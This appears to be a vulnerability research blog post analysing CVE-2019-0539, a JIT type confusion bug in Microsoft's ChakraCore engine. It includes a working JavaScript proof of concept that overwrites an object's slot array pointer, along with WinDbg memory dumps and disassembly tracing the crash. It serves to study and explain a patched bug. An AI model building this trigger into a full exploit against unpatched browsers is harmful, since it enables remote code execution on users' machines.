Introduction.
CVE-2019-0539 was fixed in the Microsoft Edge Chakra Engine update for January 2019. This bug and 2 others were discovered and reported by Lokihardt of Google Project Zero. The bug can lead to a remote code execution by visiting a malicious web page. As Lokihardt describes, this type confusion bug occurs when the code generated by the Chakra just-in-time (JIT) javascript compiler unknowingly performs a type transition of an object and incorrectly assumes no side effects on the object later on. As Abhijith Chatra of the Chakra dev team describes in his blog, Dynamic type objects have a property map and a slot array. The property map is used to know the index of an object’s property in the slot array. The slot array stores the actual data of the property. CVE-2019-0539 causes the JIT code to confuse the object in memory which causes the slot array pointer to be overridden with arbitrary data.
Setup.
Build the vulnerable version of ChakraCore for windows (https://github.com/Microsoft/ChakraCore/wiki/Building-ChakraCore):
(in Visual Studio MSBuild Command Prompt)
c:\code>git clone https://github.com/Microsoft/ChakraCore.git c:\code>cd ChakraCore c:\code\ChakraCore>git checkout 331aa3931ab69ca2bd64f7e020165e693b8030b5 c:\code\ChakraCore>msbuild /m /p:Platform=x64 /p:Configuration=Debug Build\Chakra.Core.sln
Time Travel Debugging.
This blog makes use of TTD (Time Travel Debugging). As described by Microsoft:
Time Travel Debugging, is a tool that allows you to record an execution of your process running, then replay it later both forwards and backwards. Time Travel Debugging (TTD) can help you debug issues easier by letting you "rewind" your debugger session, instead of having to reproduce the issue until you find the bug.
Install the latest Windbg preview from the Microsoft Store.
Don’t forget to run it with Administrator privileges.
Root Cause Analysis.
PoC:
function opt(o, c, value) { o.b = 1; class A extends c { // may transition the object } o.a = value; // overwrite slot array pointer } function main() { for (let i = 0; i < 2000; i++) { let o = {a: 1, b: 2}; opt(o, (function () {}), {}); } let o = {a: 1, b: 2}; let cons = function () {}; cons.prototype = o; // causes "class A extends c" to transition the object type opt(o, cons, 0x1234); print(o.a); // access the slot array pointer resulting in a crash } main();
Run the debugger with TTD until it crashes and then perform the following commands
0:005> !tt 0 Setting position to the beginning of the trace Setting position: 14:0 (1e8c.4bc8): Break instruction exception - code 80000003 (first/second chance not available) Time Travel Position: 14:0 ntdll!LdrInitializeThunk: 00007fff`03625640 4053 push rbx 0:000> g ModLoad: 00007fff`007e0000 00007fff`0087e000 C:\Windows\System32\sechost.dll ModLoad: 00007fff`00f40000 00007fff`00fe3000 C:\Windows\System32\advapi32.dll ModLoad: 00007ffe`ffde0000 00007ffe`ffe00000 C:\Windows\System32\win32u.dll ModLoad: 00007fff`00930000 00007fff`00ac7000 C:\Windows\System32\USER32.dll ModLoad: 00007ffe`ff940000 00007ffe`ffada000 C:\Windows\System32\gdi32full.dll ModLoad: 00007fff`02e10000 00007fff`02e39000 C:\Windows\System32\GDI32.dll ModLoad: 00007fff`03420000 00007fff`03575000 C:\Windows\System32\ole32.dll ModLoad: 00007ffe`ffdb0000 00007ffe`ffdd6000 C:\Windows\System32\bcrypt.dll ModLoad: 00007ffe`e7c20000 00007ffe`e7e0d000 C:\Windows\SYSTEM32\dbghelp.dll ModLoad: 00007ffe`e7bf0000 00007ffe`e7c1a000 C:\Windows\SYSTEM32\dbgcore.DLL ModLoad: 00007ffe`9bf10000 00007ffe`9dd05000 c:\pp\ChakraCore\Build\VcBuild\bin\x64_debug\chakracore.dll ModLoad: 00007fff`011c0000 00007fff`011ee000 C:\Windows\System32\IMM32.DLL ModLoad: 00007ffe`ff5b0000 00007ffe`ff5c1000 C:\Windows\System32\kernel.appcore.dll ModLoad: 00007ffe`f0f80000 00007ffe`f0fdc000 C:\Windows\SYSTEM32\Bcp47Langs.dll ModLoad: 00007ffe`f0f50000 00007ffe`f0f7a000 C:\Windows\SYSTEM32\bcp47mrm.dll ModLoad: 00007ffe`f0fe0000 00007ffe`f115b000 C:\Windows\SYSTEM32\windows.globalization.dll ModLoad: 00007ffe`ff010000 00007ffe`ff01c000 C:\Windows\SYSTEM32\CRYPTBASE.DLL (1e8c.20b8): Access violation - code c0000005 (first/second chance not available) First chance exceptions are reported before any exception handling. This exception may be expected and handled. Time Travel Position: 90063:0 chakracore!Js::DynamicTypeHandler::GetSlot+0x149: 00007ffe`9cd1ec79 488b04c1 mov rax,qword ptr [rcx+rax*8] ds:00010000`00001234=???????????????? 0:004> ub chakracore!Js::DynamicTypeHandler::GetSlot+0x12d [c:\pp\chakracore\lib\runtime\types\typehandler.cpp @ 96]: 00007ffe`9cd1ec5d 488b442450 mov rax,qword ptr [rsp+50h] 00007ffe`9cd1ec62 0fb74012 movzx eax,word ptr [rax+12h] 00007ffe`9cd1ec66 8b4c2460 mov ecx,dword ptr [rsp+60h] 00007ffe`9cd1ec6a 2bc8 sub ecx,eax 00007ffe`9cd1ec6c 8bc1 mov eax,ecx 00007ffe`9cd1ec6e 4898 cdqe 00007ffe`9cd1ec70 488b4c2458 mov rcx,qword ptr [rsp+58h] // object pointer 00007ffe`9cd1ec75 488b4910 mov rcx,qword ptr [rcx+10h] // slot array pointer 0:004> ba w 8 poi(@rsp+58)+10 0:004> g- Breakpoint 1 hit Time Travel Position: 9001D:178A 00000195`cc9c0159 488bc7 mov rax,rdi
Below is the JIT code that ultimately overrides the pointer to the slot array. Notice the call to chakracore!Js::JavascriptOperators::OP_InitClass. As Lokihardt explained, this function will ultimately invoke SetIsPrototype which will transition the object type.
0:004> ub @rip L20 00000195`cc9c00c6 ef out dx,eax 00000195`cc9c00c7 0000 add byte ptr [rax],al 00000195`cc9c00c9 004c0f45 add byte ptr [rdi+rcx+45h],cl 00000195`cc9c00cd f249895e18 repne mov qword ptr [r14+18h],rbx 00000195`cc9c00d2 4c8bc7 mov r8,rdi 00000195`cc9c00d5 498bcf mov rcx,r15 00000195`cc9c00d8 48baf85139ca95010000 mov rdx,195CA3951F8h 00000195`cc9c00e2 48b8d040a39cfe7f0000 mov rax,offset chakracore!Js::ScriptFunction::OP_NewScFuncHomeObj (00007ffe`9ca340d0) 00000195`cc9c00ec 48ffd0 call rax 00000195`cc9c00ef 488bd8 mov rbx,rax 00000195`cc9c00f2 498bd5 mov rdx,r13 00000195`cc9c00f5 488bcb mov rcx,rbx 00000195`cc9c00f8 c60601 mov byte ptr [rsi],1 00000195`cc9c00fb 49b83058e8c995010000 mov r8,195C9E85830h 00000195`cc9c0105 48b88041679cfe7f0000 mov rax,offset chakracore!Js::JavascriptOperators::OP_InitClass (00007ffe`9c674180) // transitions the type of the object 00000195`cc9c010f 48ffd0 call rax 00000195`cc9c0112 803e01 cmp byte ptr [rsi],1 00000195`cc9c0115 0f85dc000000 jne 00000195`cc9c01f7 00000195`cc9c011b 488bc3 mov rax,rbx 00000195`cc9c011e 48c1e830 shr rax,30h 00000195`cc9c0122 0f85eb000000 jne 00000195`cc9c0213 00000195`cc9c0128 4c8b6b08 mov r13,qword ptr [rbx+8] 00000195`cc9c012c 498bc5 mov rax,r13 00000195`cc9c012f 48c1e806 shr rax,6 00000195`cc9c0133 4883e007 and rax,7 00000195`cc9c0137 48b9b866ebc995010000 mov rcx,195C9EB66B8h 00000195`cc9c0141 33d2 xor edx,edx 00000195`cc9c0143 4c3b2cc1 cmp r13,qword ptr [rcx+rax*8] 00000195`cc9c0147 0f85e2000000 jne 00000195`cc9c022f 00000195`cc9c014d 480f45da cmovne rbx,rdx 00000195`cc9c0151 488b4310 mov rax,qword ptr [rbx+10h] 00000195`cc9c0155 4d896610 mov qword ptr [r14+10h],r12 // trigger of CVE-2019-0539. Overridden slot array pointer
Below is a memory dump of the object just before the OP_InitClass invocation by the JIT code. Notice how the two objects slots are inlined in the object’s memory (rather than being stored in a separated slot array).
Time Travel Position: 8FE48:C95 chakracore!Js::JavascriptOperators::OP_InitClass: 00007ffe`9c674180 4c89442418 mov qword ptr [rsp+18h],r8 ss:00000086`971fd710=00000195ca395030 0:004> dps 00000195`cd274440 00000195`cd274440 00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable' 00000195`cd274448 00000195`ca3c1d40 00000195`cd274450 00010000`00000001 // inline slot 1 00000195`cd274458 00010000`00000001 // inline slot 2 00000195`cd274460 00000195`cd274440 00000195`cd274468 00010000`00000000 00000195`cd274470 00000195`ca3b4030 00000195`cd274478 00000000`00000000 00000195`cd274480 00000195`cd073ed0 00000195`cd274488 00000000`00000000 00000195`cd274490 00000000`00000000 00000195`cd274498 00000000`00000000 00000195`cd2744a0 00000195`cd275c00 00000195`cd2744a8 00010000`00000000 00000195`cd2744b0 00000195`ca3dc100 00000195`cd2744b8 00000000`00000000
The following callstack shows that SetIsPrototype is ultimately invoked by OP_InitClass, thus transitioning the object’s type. The transition results in that the two slots will no longer be inlined, but rather stored in the slot array. This transition will later be ignored by the rest of the JIT code.
0:004> kb # RetAddr : Args to Child : Call Site 00 00007ffe`9cd0dace : 00000195`cd274440 00000195`ca3a0000 00000195`00000004 00007ffe`9bf6548b : chakracore!Js::DynamicTypeHandler::AdjustSlots+0x79f [c:\pp\chakracore\lib\runtime\types\typehandler.cpp @ 755] 01 00007ffe`9cd24181 : 00000195`cd274440 00000195`cd264f60 00000195`000000fb 00007ffe`9c200002 : chakracore!Js::DynamicObject::DeoptimizeObjectHeaderInlining+0xae [c:\pp\chakracore\lib\runtime\types\dynamicobject.cpp @ 591] 02 00007ffe`9cd2e393 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd35f00 : chakracore!Js::PathTypeHandlerBase::ConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x1b1 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 1622] 03 00007ffe`9cd40ac2 : 00000195`ca3da0f0 00000195`cd274440 00000000`00000002 00007ffe`9bf9fe00 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x43 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 1598] 04 00007ffe`9cd3cf81 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd0c700 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType+0x32 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.h @ 297] 05 00007ffe`9cd10a9f : 00000195`ca3da0f0 00000195`cd274440 00000001`0000001c 00007ffe`9c20c563 : chakracore!Js::PathTypeHandlerBase::SetIsPrototype+0xe1 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 2892] 06 00007ffe`9cd0b7a3 : 00000195`cd274440 00007ffe`9bfa722e 00000195`cd274440 00007ffe`9bfa70a3 : chakracore!Js::DynamicObject::SetIsPrototype+0x23f [c:\pp\chakracore\lib\runtime\types\dynamicobject.cpp @ 680] 07 00007ffe`9cd14b08 : 00000195`cd274440 00007ffe`9c20d013 00000195`cd274440 00000195`00000119 : chakracore!Js::RecyclableObject::SetIsPrototype+0x43 [c:\pp\chakracore\lib\runtime\types\recyclableobject.cpp @ 190] 08 00007ffe`9c6743ea : 00000195`cd275c00 00000195`cd274440 0000018d`00000119 00000195`c9e85830 : chakracore!Js::DynamicObject::SetPrototype+0x18 [c:\pp\chakracore\lib\runtime\types\dynamictype.cpp @ 632] 09 00000195`cc9c0112 : 00000195`cd264f60 00000195`cd273eb0 00000195`c9e85830 00007ffe`9c20c9b3 : chakracore!Js::JavascriptOperators::OP_InitClass+0x26a [c:\pp\chakracore\lib\runtime\language\javascriptoperators.cpp @ 7532] 0a 00007ffe`9cbea0d2 : 00000195`ca3966e0 00000000`10000004 00000195`ca395030 00000195`cd274440 : 0x00000195`cc9c0112
Below is a memory dump of the object after OP_InitClass invocation. Notice that the object has transitioned and that the 2 slots are no longer inlined. However, as said, the JIT code will still assume that the slots are inlined.
Time Travel Position: 9001D:14FA 00000195`cc9c0112 803e01 cmp byte ptr [rsi],1 ds:0000018d`c8e72018=01 0:004> dps 00000195`cd274440 00000195`cd274440 00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable' 00000195`cd274448 00000195`cd275d40 00000195`cd274450 00000195`cd2744c0 // slot array pointer (previously inline slot 1) 00000195`cd274458 00000000`00000000 00000195`cd274460 00000195`cd274440 00000195`cd274468 00010000`00000000 00000195`cd274470 00000195`ca3b4030 00000195`cd274478 00000195`cd277000 00000195`cd274480 00000195`cd073ed0 00000195`cd274488 00000195`cd073f60 00000195`cd274490 00000195`cd073f90 00000195`cd274498 00000000`00000000 00000195`cd2744a0 00000195`cd275c00 00000195`cd2744a8 00010000`00000000 00000195`cd2744b0 00000195`ca3dc100 00000195`cd2744b8 00000000`00000000 0:004> dps 00000195`cd2744c0 // slot array 00000195`cd2744c0 00010000`00000001 00000195`cd2744c8 00010000`00000001 00000195`cd2744d0 00000000`00000000 00000195`cd2744d8 00000000`00000000 00000195`cd2744e0 00000119`00000000 00000195`cd2744e8 00000000`00000100 00000195`cd2744f0 00000195`cd074000 00000195`cd2744f8 00000000`00000000 00000195`cd274500 000000c4`00000000 00000195`cd274508 00000000`00000102 00000195`cd274510 00000195`cd074030 00000195`cd274518 00000000`00000000 00000195`cd274520 000000fb`00000000 00000195`cd274528 00000000`00000102 00000195`cd274530 00000195`cd074060 00000195`cd274538 00000000`00000000
Below is a memory dump of the object just after the JIT code wrongly assigns the property value, overriding the slot array pointer
0:004> dqs 00000195cd274440 00000195`cd274440 00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable' 00000195`cd274448 00000195`cd275d40 00000195`cd274450 00010000`00001234 // overridden slot array pointer (CVE-2019-0539) 00000195`cd274458 00000000`00000000 00000195`cd274460 00000195`cd274440 00000195`cd274468 00010000`00000000 00000195`cd274470 00000195`ca3b4030 00000195`cd274478 00000195`cd277000 00000195`cd274480 00000195`cd073ed0 00000195`cd274488 00000195`cd073f60 00000195`cd274490 00000195`cd073f90 00000195`cd274498 00000000`00000000 00000195`cd2744a0 00000195`cd275c00 00000195`cd2744a8 00010000`00000000 00000195`cd2744b0 00000195`ca3dc100 00000195`cd2744b8 00000000`00000000
Finally, when accessing one of the object’s properties, the overridden slot array pointer is dereferenced, resulting in a crash
0:004> g (1e8c.20b8): Access violation - code c0000005 (first/second chance not available) First chance exceptions are reported before any exception handling. chakracore!Js::DynamicTypeHandler::GetSlot+0x149: 00007ffe`9cd1ec79 488b04c1 mov rax,qword ptr [rcx+rax*8] ds:00010000`00001234=????????????????
Final Thoughts.
The debugging process was simplified thanks to the TTD addition of Windbg. Specifically, the ability to set a breakpoint and then run the program in reverse leading directly to the actual slot array pointer override. This feature really shows the power of CPU tracing and execution reconstruction for software debugging and reverse engineering.
Read more of Perception Point’s research and analysis here.